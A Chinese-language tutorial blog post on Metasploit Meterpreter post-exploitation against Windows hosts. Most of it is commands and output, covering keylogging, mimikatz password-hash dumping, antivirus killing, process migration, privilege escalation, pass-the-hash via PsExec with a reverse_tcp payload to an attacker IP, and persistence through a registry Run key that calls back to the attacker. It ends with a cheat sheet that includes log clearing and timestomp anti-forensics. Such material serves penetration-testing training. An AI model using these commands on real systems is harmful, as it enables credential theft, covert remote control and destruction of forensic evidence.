Meterpreter是matasploit框架中的一个扩展模块,可以调用metasploit的一些功能,对目标系统进行更深入的渗透
这些功能包括反追踪、纯内存工作模式、密码哈希获取、特权提升、跳板攻击等。

0x01 基本命令

截屏screenshot命令

meterpreter的screenshot命令可以获取活动用户的桌面截屏并保存到对应的路径

meterpreter > screenshot 
Screenshot saved to: /root/tjteQinp.jpeg

在根目录下看到tjteQinp.jpeg,然后打开查看到目标主机当前的屏幕

sysyinfo

sysyinfo可以获取系统运行的平台

1
2
3
4
5
6
7
8
9
meterpreter > sysinfo
Computer : WIN-LTME4DTVE8Q
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : CONTOSO
Logged On Users : 3
Meterpreter : x64/windows
meterpreter >

uictl开关键盘/鼠标

1
2
3
uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘

0x02 获取键盘记录

在我们需要获取系统的密码哈希值,可以使用破解,也可以在远程主机上进行键盘记录

1
2
3
keyscan_start  #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录

使用keyscan_start命令开启键盘记录后,在目标主机上输入测试字段后你用keyscan_dump可以看到键盘记录所捕获的内容,最后使用keyscan_stop停止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
meterpreter > keyscan_dump 
Dumping captured keystrokes...
<CR>
<CR>
<CR>
hsaklhsajk<^H><^H><^H><^H><^H><^H><^H><^H><^H><^H><^H><^H><^H><CR>
<CR>
<CR>
<^H>pentest<CR>
<CR>
hhhh

meterpreter > keyscan_stop
Stopping the keystroke sniffer...

0x3 使用meterpreter获取密码哈希值

微软Windows系统存储哈希值的方式一般为LAN Mannager(LM)、NTLAN Manager(NTLM)或NTLAN Manager(NTLMv2)

1
2
3
4
load mimikatz    #help mimikatz 查看帮助
wdigest #获取Wdigest密码
mimikatz_command -f samdump::hashes #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords

0x04 使用meterpreter脚本

meterpreter的扩展脚本可以在meterpreter终端中进行系统探测,通过run 脚本名字可以在meterpreter终端中运行扩展脚本

开启VNC

通过命令run vnc在远程系统上安装VNC会话,这样就能得到目标主机桌面的VNC窗口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
meterpreter > run vnc 
[*] Creating a VNC reverse tcp stager: LHOST=192.168.197.193 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Users\PINGMA~1\AppData\Local\Temp\SCNdBekLs.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 192.168.197.193:4545...
meterpreter > Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "win-ltme4dtve8q"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

迁移进程

当我们进行测试的受,会对一些服务类漏洞进行利用,如果目标关闭来相关的服务比如说浏览器,那么meterpreter会话也会随之关闭,导致与目标系统的连接丢失
为来避免这个问题,我们需要用到后渗透攻击模块(也可以先ps查看PID迁移到指定的进程中去)将meterprerter会话迁移到内存空间中其他的稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接

1
2
3
4
5
6
7
meterpreter > run post/windows/manage/migrate 

[*] Running module against WIN-LTME4DTVE8Q
[*] Current server process: notepad.exe (2080)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2320
[+] Successfully migrated to process 2320

我们也可以先ps查看目标主机运行的进程,然后通过手动指定迁移进程,我们这里选取PID2080的进程,然后使用命令migrate,最后使用getpid可以看到进程的PID已经是2080

1
2
3
4
getpid    # 获取当前进程的pid
ps # 查看当前活跃进程
migrate <pid值> #将Meterpreter会话移植到指定pid值进程中
kill <pid值> #杀死进程

1
2
3
4
5
6
meterpreter > migrate 2080
[*] Migrating from 2320 to 2080...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 2080
meterpreter >

关闭检测软件

某些入侵检测软件会阻止某些攻击,在这种情况下,我们可以运行run post/windows/manage/killav扩展脚本来停止相关进程,这里没有检查到相关进程,未在有杀毒软件的情况下测试

1
2
3
meterpreter > run post/windows/manage/killav

[*] No target processes were found.

获取系统信息

scraper脚本可以列举出目标系统的信

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
meterpreter > run scraper 
[*] New session on 192.168.197.194:445...
[*] Gathering basic system information...
[*] Error dumping hashes: Rex::Post::Meterpreter::RequestError priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
[*] Obtaining the entire registry...
[*] Exporting HKCU
[*] Downloading HKCU (C:\Users\PINGMA~1\AppData\Local\Temp\rtvhDMDZ.reg)
[*] Cleaning HKCU
[*] Exporting HKLM
[*] Downloading HKLM (C:\Users\PINGMA~1\AppData\Local\Temp\yWWboFjx.reg)
[*] Cleaning HKLM
[*] Exporting HKCC
[*] Downloading HKCC (C:\Users\PINGMA~1\AppData\Local\Temp\JsaXxvyN.reg)
[*] Cleaning HKCC
[*] Exporting HKCR
[*] Downloading HKCR (C:\Users\PINGMA~1\AppData\Local\Temp\eYyqCxtz.reg)
[*] Cleaning HKCR
[*] Exporting HKU
[*] Downloading HKU (C:\Users\PINGMA~1\AppData\Local\Temp\mqCNkjmg.reg)
[*] Cleaning HKU
[*] Completed processing on 192.168.197.194:445...

提权

在我们拿下一台目标主机后,如果这台目标主机是以受限用户账号登入的,将会被限制执行一些需要管理员权限的命令,这时需要对账户进行提权。

getsystem提权原理:

  • ①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道
  • ②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接
  • ③Windows服务已启动,导致与命名管道建立连接。
  • ④该进程接收连接并调用ImpersonateNamedPipeClient,从而为系统用户创建模拟令牌。然后用新收集的系统模拟令牌产生的cmd.exe,并且我们有一个SYSTEM特权进程

0x05 获取系统密码哈希值

获取系统密码哈希值的副本可以帮助我们实施哈希值传递攻击,或是进行哈希值暴力破解还原明文密码,可以使用run post/windows/gather/smart_hashdump命令
SAM导出密码哈希,主要执行时需要SYSTEM权限

PSExec哈希传递

在上一步中我们已经获取到用户哈希后,当我们不能短时间将明文密码破解出来,而这个时侯我们又想通过已经获取到的哈希值入侵更多的系统,可以利用windows/smb/psexec模块进行哈希传递攻击,注意这里有两点前提:①打开445端口smb服务;②打开admin $共享

1
2
3
4
5
6
7
8
9
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain
msf >exploit

0x06 控制持久化

使用启动项启动(persisitence)会在在C:\ Users *** \ AppData \ Local \ Temp \目录下,上传一个vbs脚本在注册表HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \加入启动启动项

在取得一个meterpreter shell的情况下使用命令run persistence -X -i 5 -p 4444 -r [攻击机ip]``-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r指定攻击者的ip

连接后门

1
2
3
4
5
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.196.193
msf > set LPORT 4444
msf > exploit

将命令行shell升级为meterpreterses

Metasploit框架中的一个功能可以在系统被攻陷的时候使用sessions -u将命令行shell升级为meterpreter,演示如下

我们先获取的shell cmd/unix基于命令行的shell,然后使用sessions -u命令并指定Id就将命令行shell升级为meterpreter

0x07 Meterpreter速查命令

help: 打开Meterpreter使用帮助

run scriptname: 运行Meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名

sysinfo: 列出受控主机的系统信息

ls: 列出目标主机的文件和文件夹信息

ps: 显示所有运行进程以及关联的用户账户

migrate PID: 迁移到一个指定的进程ID(PID号可以通过ps命令从目标主机上获得)

use incognito: 加载incognito功能(用来盗窃目标主机的令牌或是假冒用户)

list_tokens -u: 列出目标主机可用的令牌

list_tokens -g: 列出目标主机用户组的可用令牌

impersonate_token DOMAIN_NAME\\USERNAME: 假冒目标主机上的可用令牌

steal_token PID: 盗窃给定进程的可用令牌并进行令牌假冒

drop_token: 停止假冒当前令牌

getsystem: 通过各种攻击向量来提升到系统用户权限

shell: 以所有可用令牌来运行一个交互的shell

execute -f cmd.exe -i: 执行cmd.exe命令并进行交互

execute -f cmd.exe -i -t: 以所有可用令牌来执行cmd命令

execute -f cmd.exe -i -H -t: 以所有可用令牌来执行cmd命令并隐藏该进程

rev2self: 回到控制目标主机的初始用户账户下

reg command: 在目标主机注册表中进行交互,创建,删除、查询等操作

setdesktop number: 切换到另一个用户界面(该功能基于哪些用户已登陆)

screenshot: 对目标主机的屏幕进行截图

upload file: 向目标主机上传文件

download file: 从目标主机下载文件

keyscan_start: 针对远程目标主机开启键盘记录功能

keyscan_dump: 存储目标主机上捕获的键盘记录

keyscan_stop: 停止针对目标主机的键盘记录

getprivs: 尽可能多的获取目标主机上的特权

uictl enable keyboard/mouse: 接管目标主机的键盘和鼠标

background: 将你当前的Meterpreter shell转为后台执行

hashdump: 到处目标主机中的口令哈希

use sniffer: 加载嗅探模块

sniffer_interfaces: 列出目标主机所有开放的网络接口

sniffer_dump interfaceID pcapname: 在目标主机上启动嗅探

sniffer_start interfaceID packet-buffer:在目标主机上针对特定范围的数据包缓冲区启动嗅探

suiffer_stats interfaceID: 获取正在实施嗅探网络接口的统计数据

sniffer_stop interfaceID: 停止嗅探

add_user username password -h ip: 在远程目标主机上添加一个用户

add_group_user "Domain Admins" username -h ip: 将用户添加到目标主机的域管理员组中

clearev: 清楚目标主机上的日志记录

timestomp: 修改文件属性,例如修改文件的创建事件(反取证调查)

reboot: 重启目标主机

getpid: 获取当前进程的pid

kill pid: 杀死进程

getuid: 查看权限

getwd: 查看当前工作目录

edit: 编辑文件

quit: 退出会话

参考连接

https://paper.seebug.org/29/

https://www.cnblogs.com/backlion/p/9484950.html